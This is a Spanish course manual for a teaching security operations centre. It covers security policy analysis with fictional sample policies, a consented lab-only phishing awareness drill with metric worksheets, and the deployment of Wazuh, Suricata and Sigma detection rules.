ALUMNADO · 2026–2027

IC
Manual de trabajo

Explicaciones, rutas de práctica y fichas.

José Picón · CIPFP Cheste

Edición 12 de octubre de 2026

Cómo trabajar con este manual

Metodología de aula: 95 % práctica guiada

Este manual acompaña una clase de ejecución, no una exposición teórica ni un trabajo autónomo previo. En cada bloque el profesor realiza la operación en directo y verbaliza sus decisiones; inmediatamente después el alumnado la replica, comprueba el mismo hito, introduce una variante, conserva evidencia y restaura el entorno.

Fase	Referencia en 4 h
Contexto imprescindible	12 min como máximo (5 %)
Demostración docente en vivo	35–45 min
Réplica guiada	120–140 min
Variante y diagnóstico	25–40 min
Evidencia, cierre y restauración	20–30 min

La demostración se contabiliza como práctica porque se ejecuta sobre el laboratorio y produce una salida observable. Nadie avanza mientras no haya reproducido el hito del bloque.

La teoría que te ayuda a pensar

Antes de ejecutar, predice el resultado con el modelo mental y la regla de decisión de la unidad. Después, explica la causa, el límite de la técnica y qué cambiaría en la variante. Copiar demuestra ejecución; predecir, diagnosticar y explicar demuestra comprensión. Consulta el mapa práctica-teoría de las 24 unidades.

Lee primero la ruta de la unidad; después su desarrollo y sus fichas. Los comandos se ejecutan en la carpeta que indica cada práctica. Conserva la carpeta de distribución: los enlaces abren datos, código y plantillas. Las actividades con infraestructura requieren la aceptación del entorno descrita en las guías comunes.

Índice

1. IC · UT1 — Gobierno de la ciberseguridad y normativa del puesto de trabajo
2. IC · UT2 — Cultura de seguridad: plan de concienciación, materiales y auditoría de cumplimiento
3. IC · UT3 — Taxonomía de incidentes y arquitectura de detección
4. IC · UT4 — Detección de incidentes de seguridad física e inteligencia de fuentes abiertas
5. IC · UT5 — Triaje: clasificación, valoración, seguimiento y contención inicial
6. IC · UT6 — Investigación del incidente: evidencias, análisis e intercambio de información

7. IC · UT7 — Respuesta, ciberresiliencia y recuperación del servicio
8. IC · UT8 — Notificación y comunicación del incidente

IC · UT1 — Gobierno de la ciberseguridad y normativa del puesto de trabajo

8 horas · RA1 (a, b) · Servicio SOC: Gestión — gobierno y cumplimiento · Evidencia `IC-E1`

Qué vamos a conseguir

Convertir una política en normas y controles comprobables.

Antes de empezar

Herramientas: Tres políticas de ejemplo, ficha de análisis y editor.

Consulta la guía de instalación, la guía de herramientas y las precisiones del curso. Prepara una carpeta propia para resultados; conserva intactos los datos de partida.

Ruta de trabajo

1. Lee cada política y registra emisor, aprobación, ámbito, versión y responsabilidades.
2. Completa ficha-analisis-politicas.md con citas precisas que sostengan tus observaciones.
3. Distingue política, norma, procedimiento y registro con un ejemplo de cada uno.
4. Redacta la política del SOC didáctico: responsable, objetivo, alcance, revisión y gestión de excepciones.
5. Transforma tres normas en controles observables: quién verifica, qué evidencia obtiene y con qué frecuencia.
6. Revisa con un compañero si se puede ejecutar el procedimiento sin preguntarte y entrega IC-E1.

Cómo comprobar que está hecho

Responsabilidades claras; evidencias verificables; excepciones gestionadas.

> Un documento de ejemplo con referencias normativas no acredita que una organización esté certificada.

Desarrollo y fichas

- Explicación completa de la unidad.
- ficha-analisis-politicas
- politica-A-administracion-ENS
- politica-B-startup
- politica-C-industria-ISO27001

Entrega y revisión

Los nombres y formatos están en el cuaderno de entregables. Antes de entregar, comprueba alcance, pasos reproducibles, resultados, interpretación y límites. Identifica tu trabajo por número de lista, módulo y evidencia.

Incluye una dificultad que hayas resuelto y explica por qué la solución funciona. Si utilizas una salida de ejemplo, declárala; no la presentes como ejecución propia.

IC · UT1 — Gobierno de la ciberseguridad y normativa del puesto de trabajo

8 horas · RA1 (a, b) · Servicio SOC: Gestión — gobierno y cumplimiento · Evidencia `IC-E1`

---

1. Objetivo de la unidad

Un SOC sin gobierno es una sala de pantallas sin criterio. Esta unidad establece la base: los principios de ciberseguridad de la organización, respaldados por la dirección, y la normativa que rige el puesto de trabajo. Es la capa de **Gestión** de la CCN-STIC 896, sobre la que se apoya todo lo demás.

2. Contenido

2.1 Principios generales y respaldo de la dirección (RA1.a)

- La política de seguridad la aprueba y la respalda la **dirección**; sin ese respaldo, no es exigible.
- Estructura documental por niveles: política (qué y por qué) → normativa (qué está permitido) → procedimientos (cómo) → registros (evidencia).
- Alineación con el marco aplicable (ENS si hay sector público, ISO 27001 para el SGSI).

2.2 Normativa de protección del puesto de trabajo (RA1.b)

Reglas concretas que reducen el riesgo en el día a día:

- Mesa limpia y pantalla bloqueada.
- Dispositivos extraíbles: control o prohibición.
- Teletrabajo: VPN, dispositivo corporativo, red doméstica.
- BYOD (dispositivo propio): separación de datos, gestión de dispositivos móviles.
- Gestión de credenciales: gestor de contraseñas, no reutilización, segundo factor.

3. Laboratorio guiado

Parte A — Análisis comparado de políticas (RA1.a)

1. Analiza **tres políticas de seguridad reales** (una del sector público sujeta a ENS, dos del sector privado). Identifica estructura, alcance, respaldo de la dirección y nivel de concreción.

Parte B — Redactar la política del SOC de xest (RA1.a)

1. Redacta la **política de ciberseguridad del SOC de xest**: objeto, alcance, principios, roles y responsabilidades, y la aprobación de la «dirección» (rol docente).

Parte C — Normativa del puesto (RA1.b)

1. Redacta la **normativa de protección del puesto de trabajo** aplicable al aula-laboratorio, con reglas exigibles y verificables.

4. Entregable

- **`IC-E1`** (informe, rúbrica R2): política de ciberseguridad y normativa de puesto de trabajo del SOC de xest, con estructura documental correcta y respaldo de la dirección.

5. Criterios de superación

- La política tiene alcance, principios, roles y aprobación de la dirección.
- La normativa del puesto es concreta y verificable (no son buenos deseos).
- Se distingue política, normativa, procedimiento y registro.

6. Referencias

- **CCN-STIC 896** — servicio de Gestión del SOC.
- **ENS**, RD 311/2022 — marco `org.*` (medidas organizativas).
- **ISO/IEC 27001:2022** — SGSI.
- CCN-STIC 805 — Política de seguridad de la información.

Ficha de análisis comparado de políticas (IC UT1 · para el alumnado)

Analiza las tres políticas de `IC/UT1/laboratorio/` (A administración ENS · B startup · C industria ISO 27001). Rellena la tabla y responde a las preguntas. Trabajo en parejas.

Tabla comparativa

Criterio	A · ENS	B · Startup	C · ISO 27001
¿Distingue política / normativa / procedimiento / registro?			
¿Define el **alcance** con precisión (a quién y a qué aplica)?			
¿Quién la **aprueba**? ¿Hay respaldo explícito de la dirección?			
¿Asigna **roles y responsabilidades** concretos?			
¿Establece **revisión** periódica?			
¿Es **exigible** (se puede sancionar el incumplimiento)?			
¿Marco de referencia declarado?			
Nivel de concreción (alto / medio / bajo)			

Preguntas

1. ¿Cuál de las tres **no** sería exigible tal cual? ¿Por qué? ¿Qué le falta para serlo?
2. La política B tiene buenas intenciones. Reescribe **una** de sus frases convirtiéndola en una **norma verificable** (que se pueda comprobar objetivamente).
3. ¿Qué elemento común aparece en A y C y falta por completo en B?
4. Si tuvieras que auditar el cumplimiento de cada una, ¿cuál te daría **evidencias** para comprobar y cuál no? ¿Por qué?

Política de Seguridad de la Información — Ayuntamiento de Vilaseca del Camp (EJEMPLO ENS)

> Documento **ficticio** de aula, redactado al estilo de una entidad del sector público sujeta al Esquema Nacional de Seguridad (ENS). Sirve para el ejercicio de análisis comparado de IC-E1. Cualquier parecido con una entidad real es casualidad.

1. Objeto

Establecer los principios y el marco de gobierno de la seguridad de la información del Ayuntamiento de Vilaseca del Camp, en cumplimiento del **Real Decreto 311/2022 (ENS)**.

2. Alcance

Aplica a todos los sistemas de información del Ayuntamiento, a su personal (funcionario, laboral y personal de contratas) y a los terceros que traten información municipal.

3. Aprobación y respaldo de la dirección

Esta política es **aprobada por el Pleno del Ayuntamiento** y su cumplimiento es de obligado seguimiento. El Alcalde-Presidente designa al **Responsable de Seguridad** y al **Responsable de la Información**, con las funciones del ENS.

4. Principios

- Seguridad como proceso integral y gestión de riesgos continua.
- Prevención, detección, respuesta y conservación.
- Líneas de defensa y reevaluación periódica.
- Mínimo privilegio y segregación de funciones.

5. Estructura documental

Esta política se desarrolla en **normativa** de seguridad (uso aceptable, control de acceso), **procedimientos** operativos y **registros** de cumplimiento. La declaración de aplicabilidad detalla las medidas del Anexo II del ENS según la categoría de cada sistema.

6. Responsabilidades

- **Responsable de la Información**: determina los niveles de seguridad de la información.
- **Responsable del Servicio**: determina los niveles de los servicios.
- **Responsable de Seguridad**: mantiene la seguridad y reporta a la dirección.
- **Responsable del Sistema**: opera conforme a las medidas aprobadas.

7. Revisión

Revisión al menos **anual** o ante cambios significativos. La aprueba el Pleno.

8. Cumplimiento

El incumplimiento podrá dar lugar a responsabilidad disciplinaria conforme a la normativa de función pública, sin perjuicio de otras responsabilidades.

Nuestra forma de trabajar seguros — DelfínPay (EJEMPLO privado, startup)

> Documento **ficticio** de aula. Estilo "startup": cercano y breve. Sirve para contrastar con la política ENS y detectar qué le falta para ser realmente exigible.

En DelfínPay nos tomamos la seguridad muy en serio 🐬. Manejamos pagos, así que la confianza es nuestro producto.

Lo que esperamos de todo el equipo

- Usa contraseñas fuertes y no las reutilices.
- Activa el doble factor en todo.
- No te dejes el portátil abierto en la cafetería.
- Si algo te parece raro (un correo, un enlace), avisa en el canal #seguridad.
- Cifra el disco de tu portátil.

Nuestros datos

Los datos de clientes son sagrados. No los saques de las herramientas de la empresa ni los mandes por WhatsApp.

Si pasa algo

Avisa cuanto antes a la persona de guardia. Preferimos mil falsas alarmas a un incidente tapado. No buscamos culpables, buscamos aprender.

Escrito por el equipo de Plataforma. Última actualización: hace un tiempo.

Política del Sistema de Gestión de Seguridad de la Información — Metalúrgica Ríos S.A. (EJEMPLO privado, ISO 27001)

> Documento **ficticio** de aula, al estilo de una empresa industrial con SGSI certificado ISO/IEC 27001. Contrasta con la política ENS (pública) y con la de la startup.

1. Propósito

Definir el compromiso de la Dirección de Metalúrgica Ríos S.A. con la seguridad de la información y el marco del **Sistema de Gestión de Seguridad de la Información (SGSI)** según **ISO/IEC 27001**.

2. Alcance

Cubre los procesos de producción, ingeniería, calidad y administración, los sistemas OT/IT asociados y todo el personal y proveedores con acceso a información de la compañía.

3. Compromiso y aprobación de la Dirección

La **Dirección General aprueba** esta política, provee los recursos del SGSI y nombra al **Comité de Seguridad** y al **Responsable de Seguridad de la Información (CISO)**. La Dirección revisa el SGSI en la **revisión por la dirección** anual.

4. Objetivos de seguridad

- Proteger la confidencialidad, integridad y disponibilidad de la información.
- Cumplir los requisitos legales, reglamentarios y contractuales (incl. RGPD).
- Gestionar el riesgo mediante evaluación y tratamiento documentados (Anexo A de ISO 27001).

- Mejora continua (ciclo PDCA).

5. Estructura documental

Política (este documento) → normas por dominio → procedimientos e instrucciones → registros. La **Declaración de Aplicabilidad (SoA)** justifica los controles del Anexo A aplicados y excluidos.

6. Responsabilidades

- **Dirección**: aprueba, dota de recursos y revisa.
- **CISO / Comité**: opera el SGSI, gestiona riesgos e incidentes.
- **Propietarios de activos**: clasifican y protegen su información.
- **Todo el personal**: cumple la normativa y reporta incidentes.

7. Medición y revisión

Indicadores de desempeño, auditorías internas y revisión por la dirección **anual**. Las no conformidades generan acciones correctivas con responsable y plazo.

8. Incumplimiento

El incumplimiento se gestiona conforme al régimen disciplinario y a los contratos con terceros.

IC · UT2 — Cultura de seguridad: plan de concienciación, materiales y auditoría de cumplimiento

8 horas · RA1 (c, d, e) · Servicio SOC: Gestión — cultura de seguridad · Evidencias `IC-E2`, `IC-E3`

Qué vamos a conseguir

Diseñar y medir una campaña de concienciación.

Antes de empezar

Herramientas: Editor, CSV y laboratorio GoPhish/MailHog preparado.

Consulta la guía de instalación, la guía de herramientas y las precisiones del curso. Prepara una carpeta propia para resultados; conserva intactos los datos de partida.

Ruta de trabajo

1. Completa ficha-plan-concienciacion.md con públicos, conductas esperadas y métricas de partida.
2. Produce una pieza de formación con una acción concreta y comprensible.
3. Prepara el simulacro solo con buzones y destinatarios sintéticos del laboratorio.
4. Registra enviados, entregados, abiertos, clics y reportes con sus denominadores. No trates una apertura automática como conducta humana demostrada.
5. Resuelve ficha-lectura-metricas.md y contrasta las limitaciones del conjunto de datos.
6. Completa checklist-auditoria-cumplimiento.md y propone una mejora cuya eficacia puedas medir en un segundo ensayo.

Cómo comprobar que está hecho

Denominadores claros; simulacro contenido; mejora medible.

> En esta práctica no se envían correos a personas reales ni se recopilan contraseñas.

Desarrollo y fichas

- Explicación completa de la unidad.
- checklist-auditoria-cumplimiento
- consentimiento-simulacro
- ficha-lectura-metricas
- ficha-plan-concienciacion
- plantilla-pildora-microlearning

Entrega y revisión

Los nombres y formatos están en el cuaderno de entregables. Antes de entregar, comprueba alcance, pasos reproducibles, resultados, interpretación y límites. Identifica tu trabajo por número de lista, módulo y evidencia.

Incluye una dificultad que hayas resuelto y explica por qué la solución funciona. Si utilizas una salida de ejemplo, declárala; no la presentes como ejecución propia.

IC · UT2 — Cultura de seguridad: plan de concienciación, materiales y auditoría de cumplimiento

8 horas · RA1 (c, d, e) · Servicio SOC: Gestión — cultura de seguridad · Evidencias `IC-E2`, `IC-E3`

---

1. Objetivo de la unidad

El eslabón más atacado es la persona. Esta unidad diseña un plan de concienciación con materiales propios, lo ejecuta con un simulacro medible y audita su cumplimiento. La concienciación no se declara: se mide.

2. Contenido

2.1 Plan de formación y concienciación (RA1.c)

- Público objetivo segmentado (dirección, técnicos, administración).
- Canales y calendario: no una charla anual, sino refuerzo continuo.
- Indicadores desde el diseño: tasa de clic en phishing, tasa de reporte, tiempo medio hasta el reporte.

2.2 Materiales (RA1.d)

Píldoras breves, cartelería, microlearning, simulacros de phishing. Mensaje claro, accionable, sin culpabilizar.

2.3 Métricas de eficacia (RA1.c)

Métrica	Qué mide	Meta
Tasa de clic	% que pica en el phishing simulado	Bajar con el tiempo
Tasa de reporte	% que reporta el correo sospechoso	Subir con el tiempo
Tiempo medio de reporte	Cuánto tarda el primero en avisar	Bajar

La tasa de reporte importa más que la de clic: una organización donde alguien avisa rápido contiene antes.

2.4 Auditoría de cumplimiento (RA1.e)

Lista de verificación del plan de prevención, hallazgos priorizados, acciones correctoras.

3. Laboratorio guiado

Parte A — Campaña de concienciación (RA1.c, RA1.d)

1. Diseña una campaña de 4 semanas para el personal ficticio de xest: temas, canales, calendario, materiales.

Parte B — Simulacro de phishing (RA1.d)

```
# GoPhish en laboratorio, sobre buzones de prueba y con consentimiento documentado
# Configurar: plantilla de correo, página de aterrizaje, grupo de destinatarios de laboratorio
# Lanzar la campaña y recoger métricas: enviados, abiertos, clics, reportes
```

1. Ejecuta un simulacro **sobre buzones de laboratorio** con consentimiento documentado. Recoge y **lee críticamente** las métricas.

Parte C — Auditoría (RA1.e)

1. Audita el cumplimiento del plan de prevención con una lista de verificación y prioriza los hallazgos.

4. Entregables

- **`IC-E2`** (informe, rúbrica R2): plan de concienciación + kit de materiales + informe de auditoría de cumplimiento.
- **`IC-E3`** (laboratorio, rúbrica R1): ejecución del simulacro y lectura crítica de las métricas.

5. Criterios de superación

- El plan define métricas desde el diseño, no las improvisa al final.
- El simulacro se ejecuta con consentimiento y sus métricas se interpretan (no solo se listan).
- La auditoría produce acciones correctoras priorizadas.

6. Ética

El simulacro de phishing se realiza sobre buzones de laboratorio o del propio grupo, con consentimiento documentado. No se simula sobre personas no informadas ajenas al ejercicio.

7. Referencias

- ENISA — Awareness Raising.
- GoPhish — documentación.
- CCN-STIC 896 — cultura de seguridad.

Checklist — Auditoría de cumplimiento del plan de prevención (IC UT2 · para el alumnado)

Cierra **IC-E3**. Audita si el plan de prevención y concienciación de xest **se cumple de verdad**, apoyándote en la evidencia del simulacro. Una auditoría no opina: **verifica** con evidencia y produce **hallazgos priorizados** con acción, responsable y fecha.

> Recuerda el criterio de la UT1: **una norma que no se puede comprobar es un deseo**. Aquí comprobamos.

1. Lista de verificación

Marca C (cumple) / P (parcial) / N (no cumple) y anota **con qué evidencia** lo sabes.

#	Punto de control	C/P/N	Evidencia que lo demuestra
1	Existe consentimiento firmado **antes** del simulacro		
2	El simulacro se ejecutó solo sobre buzones de laboratorio		
3	El plan define métricas **desde el diseño** (no al final)		
4	Existe un buzón/canal de reporte conocido por el personal		
5	La tasa de reporte se mide y se sigue en el tiempo		
6	Los materiales están **en positivo**, sin culpabilizar		
7	Hay refuerzo continuo (no una única charla anual)		
8	Los segmentos de mayor impacto tienen formación específica		
9	Las métricas se guardan **agregadas**, no como lista nominal de "quién picó"		
10	Cada hallazgo previo tiene acción con responsable y fecha		

2. Hallazgos priorizados

Prioriza por **impacto × probabilidad**, no por orden de aparición.

Prioridad	Hallazgo	Riesgo	Acción correctora	Responsable	Fecha
Alta					
Media					
Baja					

3. Conclusión de la auditoría (3-5 líneas)

¿El plan se cumple? ¿Cuál es la brecha más grave y qué acción la cierra?

Entrega: forma parte de `NN-IC-E3-simulacro.md`.

Consentimiento informado para el simulacro de phishing (IC UT2 · IC-E3)

> Documento que **debe existir y estar firmado ANTES** de lanzar cualquier campaña. En el aula, el simulacro se realiza sobre **buzones de laboratorio** (`*@xest.local`, capturados por MailHog) o sobre el propio grupo de prácticas con su consentimiento. **Nunca** sobre personas no informadas ajenas al ejercicio. Sin este documento, no se lanza.

1. Objeto y alcance

Ejercicio de concienciación consistente en el envío de un correo de phishing **simulado** a un conjunto acotado de buzones, con el fin de **medir** (no de evaluar ni sancionar a personas) la respuesta de la organización ante un intento de suplantación.

- **Buzones incluidos**: los del grupo `grupo-destinatarios-lab.csv` (dominio `xest.local`, entorno de laboratorio). Ningún buzón real de personas ajenas al ejercicio.
- **Entorno**: VLAN aislada del aula. El correo lo captura MailHog; **no sale a Internet**.
- **Periodo**: sesión de laboratorio de la semana 4.

2. Qué se mide y qué NO

- **Se mide**, de forma **agregada por segmento**: tasa de apertura, tasa de clic, tasa de envío de credenciales, **tasa de reporte** y **tiempo hasta el primer reporte**.
- **No se usa** para señalar, evaluar ni sancionar a personas concretas. El objetivo es mejorar el plan de concienciación, no elaborar una lista de "quién picó".

3. Principios (mensaje sin culpabilizar)

Quien reporta ayuda; quien pica no es el culpable del ataque. La métrica que más importa es la de **reporte**, porque es la que permite **contener** el incidente.

4. Tratamiento de datos

Los datos se conservan solo mientras dure la práctica y se **anonimizan/agrupan** para el informe (IC-E2/IC-E3). No se almacenan contraseñas reales de personas: en producción se mide el envío, no la credencial.

5. Autorización

Rol	Nombre	Firma	Fecha
Responsable del ejercicio (docente = "dirección" de xest)			
Responsable del laboratorio			

> Recordatorio de la unidad y de las reglas del aula: **sin firma no está firmado** y **sin autorización formal no hay nada** (mismo principio que el ROE de Hacking Ético).

Ficha — Lectura crítica de las métricas del simulacro (IC UT2 · para el alumnado)

Parte de **IC-E3** (laboratorio, rúbrica R1). Trabajáis con `metricas-simulacro-ejemplo.csv`: un export sintético de un simulacro sobre una organización de 30 personas (10 por segmento). El correo se **envió a las 09:00**. Trabajo en parejas.

> No basta con decir "un 30 % picó". La pregunta que contiene el incidente es: **¿cuánto tardó el primero en avisar?**

1. Embudo global

Calcula sobre el total (30) y anota el porcentaje:

Métrica	Cuenta	%
Enviados		
Abrieron		
Hicieron clic		
Enviaron credenciales		
Reportaron		

Pista de cálculo rápido (línea de comandos):

```
# nº de clics
awk -F, 'NR>1 && $6=="si"' metricas-simulacro-ejemplo.csv | wc -l
# nº de reportes
awk -F, 'NR>1 && $9=="si"' metricas-simulacro-ejemplo.csv | wc -l
```

2. Tiempo de reacción

- Hora del **primer clic**: _____
- Hora del **primer reporte**: _____
- ¿Qué ocurrió antes, el primer clic o el primer aviso? ¿Qué implica para el SOC?

3. Desglose por segmento

Completa (clic %, reporte %, credenciales %, hora del primer reporte del segmento):

Segmento	Clic %	Reporte %	Credenciales %	1.er reporte
Dirección				
Técnicos				
Administración				

4. Interpretación (lo que de verdad se evalúa)

1. ¿Qué segmento es el **más fuerte** y cuál el **más débil**? Justifícalo con los números.
2. Alguien dice: "clic = comprometido". ¿Lo confirman los datos? (mira clic vs credenciales).
3. "Modela la clase inocente": ¿quién, además de quien no picó, cuenta como **buen comportamiento**? ¿Por qué es un error resumir todo a "picó / no picó"?
4. Da **una** acción correctora concreta que saldría de estos datos.

Entrega IC-E3: `NN-IC-E3-simulacro.md` con el embudo, el desglose y esta interpretación, más la ficha de auditoría de cumplimiento.

Ficha — Diseño del plan de concienciación de 4 semanas (IC UT2 · para el alumnado)

Arranca el entregable **IC-E2** (informe, rúbrica R2). Trabajo en parejas. Diseñáis una campaña de concienciación de **4 semanas** para el personal ficticio de xest (`personal-xest.csv`), con **métricas definidas desde el diseño** (no al final).

> Idea fuerza: la concienciación **se mide, no se declara**. Y el mensaje va **en positivo**: buscamos que la gente **avise**, no que se esconda.

1. Segmentación del público

Rellena, a partir de `personal-xest.csv`, el riesgo y el mensaje prioritario de cada segmento:

Segmento	Personas	Amenaza más probable	Mensaje prioritario
Dirección			
Técnicos			
Administración			

2. Calendario de 4 semanas

No una charla anual: **refuerzo continuo**. Un tema por semana, canal y material por semana.

Semana	Tema	Segmento(s)	Canal	Material	Indicador que mueve
1					
2					
3					
4					

3. Métricas desde el diseño

Define **antes de empezar** qué vas a medir, con qué meta y cómo lo recoges:

Métrica	Qué mide	Meta (dirección deseada)	Cómo se recoge
Tasa de clic			
Tasa de reporte			

Métrica	Qué mide	Meta (dirección deseada)	Cómo se recoge
Tiempo medio hasta el primer reporte			

4. Kit de materiales (produce al menos uno)

Usa `plantilla-pildora-microlearning.md`. El material debe ser **claro, accionable y sin culpabilizar**. Entregas la plantilla rellena como parte de IC-E2.

Preguntas para defender el diseño

1. ¿Por qué la **tasa de reporte** importa más que la de clic?
2. ¿Qué segmento crees que necesitará **más refuerzo** y por qué?
3. Tu campaña, ¿cómo evita **culpabilizar** a quien pica? Da un ejemplo concreto de redacción.

Entrega IC-E2: `NN-IC-E2-plan.md` (este plan) + los materiales del kit.

Plantilla de píldora de microlearning (IC UT2 · kit de materiales de IC-E2)

> Una píldora se lee o se ve en **menos de 3 minutos**. Regla de oro: **claro, accionable y sin culpabilizar**. Debe terminar SIEMPRE con una acción concreta ("qué hago yo"). Rellena los campos entre << >> y borra las instrucciones.

Título (una frase, sin tecnicismos): << p. ej. "Un correo con prisa casi siempre miente" >>

Segmento destinatario: << dirección / técnicos / administración / todos >>

Canal y formato: << correo / cartel A4 / vídeo 90 s / tarjeta de bolsillo >>

El riesgo, en una línea (por qué te importa a ti): << qué te puede pasar en tu puesto concreto >>

Cómo reconocerlo (3 señales, máximo): - << señal 1 >> - << señal 2 >> - << señal 3 >>

Qué hago yo (la acción, imprescindible): << p. ej. "No hago clic. Reenvío el correo a soc@xest.local y lo borro. Si ya hice clic, aviso igual: cuanto antes avise, antes se frena." >>

Tono (marca lo que aplica): [ ] positivo [ ] sin señalar a nadie [ ] la acción es fácil de hacer

Métrica que esta píldora pretende mover: << clic / reporte / tiempo al reporte >>

IC · UT3 — Taxonomía de incidentes y arquitectura de detección

12 horas · RA2 (a, b) · Servicio SOC: Detección — recogida y correlación de eventos · Evidencias `IC-E4`, `IC-E5`

Qué vamos a conseguir

Comprobar el camino completo desde un evento hasta una alerta.

Antes de empezar

Herramientas: Wazuh, agentes Linux/Windows, Sigma; Suricata cuando haya visibilidad de red.

Consulta la guía de instalación, la guía de herramientas y las precisiones del curso. Prepara una carpeta propia para resultados; conserva intactos los datos de partida.

Ruta de trabajo

1. Dibuja la arquitectura con fuentes, transporte, procesamiento, almacenamiento y analista.
2. Sigue ficha-E4-arquitectura.md y comprueba identidad, reloj y conectividad de cada agente.
3. Genera una actividad de prueba controlada y busca el evento bruto con su marca temporal.
4. Escribe la detección de ficha-E5-sigma-cobertura.md; identifica campos y backend antes de convertir Sigma.
5. Prueba un caso que debe alertar y otro que no debe hacerlo. Mide retraso y explica falsos positivos.
6. Completa el mapa ATT&CK con cobertura demostrada y puntos ciegos. Un servicio levantado sin eventos todavía no es una detección validada.

Cómo comprobar que está hecho

Evento bruto localizado; positivo y negativo probados; alerta trazable al evento.

> Suricata solo ve el tráfico que llega a su interfaz. Una VLAN o contenedor no le da visibilidad automática.

Desarrollo y fichas

- Explicación completa de la unidad.
- ficha-E4-arquitectura
- ficha-E5-sigma-cobertura

Entrega y revisión

Los nombres y formatos están en el cuaderno de entregables. Antes de entregar, comprueba alcance, pasos reproducibles, resultados, interpretación y límites. Identifica tu trabajo por número de lista, módulo y evidencia.

Incluye una dificultad que hayas resuelto y explica por qué la solución funciona. Si utilizas una salida de ejemplo, declárala; no la presentes como ejecución propia.

IC · UT3 — Taxonomía de incidentes y arquitectura de detección

12 horas · RA2 (a, b) · Servicio SOC: Detección — recogida y correlación de eventos · Evidencias `IC-E4`, `IC-E5`

---

1. Objetivo de la unidad

Clasificar los incidentes con una taxonomía reconocida y montar la arquitectura que los detecta: fuentes de evento, SIEM/XDR, reglas de correlación y detección propia con Sigma. Es donde el SOC empieza a *ver*.

2. Contenido

2.1 Taxonomía de incidentes (RA2.a)

- **ENISA / eCSIRT.net v2** y **CCN-STIC 817**: categorías (código dañino, intrusión, disponibilidad, fraude, contenido abusivo...) y niveles de peligrosidad e impacto.
- Una taxonomía común permite priorizar, comparar y notificar con criterio.

2.2 Fuentes de evento (RA2.b)

Fuente	Qué aporta	Sensor
Endpoint	Procesos, ficheros, persistencia	EDR/HIDS (Wazuh)

Fuente	Qué aporta	Sensor
Red	Conexiones, protocolos, C2	NIDS (Suricata/Zeek)
Identidad	Autenticaciones, cambios de permiso	Logs de directorio
Nube	Actividad de la cuenta	Logs del proveedor
Aplicación	Errores, accesos	Logs de la app

2.3 SIEM/XDR (RA2.b)

Ingesta → normalización → correlación → reglas → alertas. La plataforma del proyecto está en `SOC/plataforma/`: Wazuh (SIEM/XDR/HIDS) + Suricata (NIDS).

2.4 Ingeniería de detección (RA2.b)

- **Sigma**: reglas de detección portables, convertibles al lenguaje de cada SIEM.
- **MITRE ATT&CK** como taxonomía de TTPs y mapa de cobertura: qué técnicas detectamos y cuáles son puntos ciegos.

3. Laboratorio guiado

Parte A — Desplegar sensores (RA2.b)

```
cd SOC/plataforma
# Wazuh single-node (SIEM/XDR/HIDS) + Suricata (NIDS) ya definidos en el compose
docker compose up -d
# Verificar que los agentes reportan y que Suricata genera eventos
docker compose ps
```

1. Despliega agentes Wazuh sobre un Windows y un Linux de laboratorio e integra Suricata como sensor de red. Verifica que las alertas llegan al panel.

Parte B — Escribir reglas Sigma propias (RA2.b)

1. Escribe **dos reglas Sigma** nuevas (p. ej. shell inversa en Linux, comando PowerShell codificado). Parte de los ejemplos en `SOC/plataforma/sigma/`.

```
# Convertir una regla Sigma al lenguaje del SIEM
sigma convert -t <backend> SOC/plataforma/sigma/mi_regla.yml
```

1. Despliega las reglas y **valídalas con un evento real** de laboratorio (genera la actividad y comprueba que dispara la alerta).

Parte C — Mapa de cobertura ATT&CK (RA2.a, RA2.b)

1. Construye el mapa de cobertura del SOC de xest: qué técnicas ATT&CK detecta y cuáles no. Los huecos son la lista de trabajo.

4. Entregables

- **`IC-E4`** (informe, rúbrica R2): catálogo de taxonomía de incidentes de xest y matriz de fuentes de detección.
- **`IC-E5`** (reto integrado, rúbrica R3): reglas Sigma propias desplegadas y validadas con un evento real de laboratorio.

5. Criterios de superación

- Los sensores reportan de verdad (se comprueba que la telemetría llega).
- Las reglas Sigma se validan disparándolas con actividad real, no solo escribiéndolas.
- El mapa de cobertura identifica los puntos ciegos.

6. Errores frecuentes

- Dar por buena una regla porque «se escribió bien», sin generar el evento que la dispara.
- Un sensor silencioso toda la semana: está roto hasta que se demuestre lo contrario.

7. Referencias

- **CCN-STIC 817** · ENISA eCSIRT.net taxonomy.
- Sigma — github.com/SigmaHQ/sigma
- Wazuh, Suricata — documentación. MITRE ATT&CK Navigator.

Ficha IC-E4 · Arquitectura de detección de xest (para el alumnado)

- **Evidencia**: IC-E4 · **RA2.b** · Instrumento I1 · Rúbrica **R1** (práctica de laboratorio).

- **Entrega**: `NN-IC-E4-arquitectura.md` + capturas del panel (`NN` = número de lista).
- **Dónde**: plataforma del SOC en `~/xest-lab/2026-2027/SOC/plataforma/`. Objetivos en `~/docencia/.../comun/entornos/objetivos/`. **Todo en la VLAN aislada de xest.**

> Una regla de oro para toda la ficha: **un sensor silencioso está roto hasta que se demuestre lo contrario.** No basta con desplegar: hay que probar que la telemetría llega.

Parte A — Catálogo de taxonomía de incidentes de xest

1. Abre el fichero `taxonomia-incidentes-xest.csv` (12 incidentes de ejemplo de xest).
2. Para **cada** categoría ENISA/eCSIRT.net presente, anota su equivalente en **CCN-STIC 817** y el nivel de **peligrosidad** que le asignarías (CRÍTICO / ALTO / MEDIO / BAJO), justificando el porqué en una frase.
3. Construye la **matriz de fuentes de detección**: por cada fuente de evento (endpoint, red, identidad, nube, aplicación), qué sensor la recoge en el SOC de xest y qué categorías de incidente permite ver. Rellena esta tabla:

Fuente de evento	Sensor en xest	Qué categorías de incidente detecta
Endpoint (procesos, ficheros)		
Red (conexiones, DNS, protocolos)		
Identidad (autenticaciones)		
Nube (actividad de cuenta)		
Aplicación (logs de la app)		

1. **Pregunta de cierre**: mirando tu matriz, ¿qué categoría de incidente del CSV **no** tiene hoy un sensor que la vea bien? Ése es tu primer punto ciego.

Parte B — Desplegar los sensores y verificar que reportan

1. **Prerrequisito del anfitrión** (una vez): `bash sudo sysctl -w vm.max_map_count=262144`
2. Levanta el stack SIEM + NIDS (Wazuh + Suricata): `bash cd ~/xest-lab/2026-2027/SOC/plataforma docker compose --profile nids up -d docker compose ps` Espera a que todos los servicios estén `healthy`. Entra al panel en `https://<ip-del-soc>:5601` (o `soc.xest.local`) con las credenciales del `.env`.

3. **Agente Linux**: instala el agente Wazuh en una máquina Linux de laboratorio y regístrala contra el manager. Verifica en el panel que el agente aparece como **Active**.
4. **Agente Windows**: instala el agente Wazuh en un Windows de laboratorio. Para tener `process_creation` en Windows, integra **Sysmon**. Verifica que reporta.
